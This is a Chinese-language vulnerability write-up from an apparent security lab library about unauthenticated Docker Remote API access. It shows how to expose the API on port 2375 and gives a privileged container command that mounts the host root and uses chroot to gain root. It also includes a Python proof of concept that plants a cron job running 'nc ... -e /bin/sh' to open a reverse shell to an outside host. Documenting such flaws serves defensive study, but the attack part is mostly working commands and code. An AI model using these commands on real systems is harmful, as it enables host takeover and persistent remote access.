Docker Remote API未授权访问 -SINF-漏洞文库小世界-安全文库-NGC660 安全实验室

Docker Remote API未授权访问 -SINF

漏洞介绍

其实这个漏洞2016年就已经有了,Docker Remote API主要用于远程访问Docker守护进程从而下达指令,但是默认开启API是没有访问验证的,也就是说存在未授权访问,攻击者只需要知道目标Docker机器IP即可发起攻击获取root权限

复现过程

安装Docker

yum install docker -y

1608388416534-6cf88166-a99e-468b-9578-4d41d368e0f1

开启Remote API

  • Ubuntu系统:/etc/default/docker
  • Centos系统:/etc/sysconfig/docker

在配置文件添加如下内容

OPTIONS='-H=tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock'

之后重启服务,查看2375端口是否开放

漏洞利用

docker -H x.x.x.x:2375 run --rm -it --privileged --net=host -v /:/mnt busybox
chroot /mnt/
whoami

1608388917963-5e29fed0-6ff4-427c-944b-faffe5f9f276

解释一下命令

  • -H 指定Docker机器IP
  • –rm是指退出容器之后删除busybox容器
  • –it守护后台运行
  • –privileged 以root权限运行容器
  • –net=host 映射宿主机网络
  • -v /:/mnt 将宿主机根目录映射到容器/mnt目录下

其中 -v 参数是关键,chroot命令用于改变根目录,最终上述命令通过API的未授权访问创建了一个容器,并将宿主机的目录映射到容器中,我们进入到容器中,chroot切换到/mnt目录就相当于进入到了宿主机的根目录,从而获取了完全控制权限

Poc

经测试Busybox体积最小,只有1.13M

import docker

client = docker.DockerClient(base_url='http://192.168.1.10:2375/')
data = client.containers.run('busybox:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.1.110 8888 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
请登录后发表评论

    请登录后查看回复内容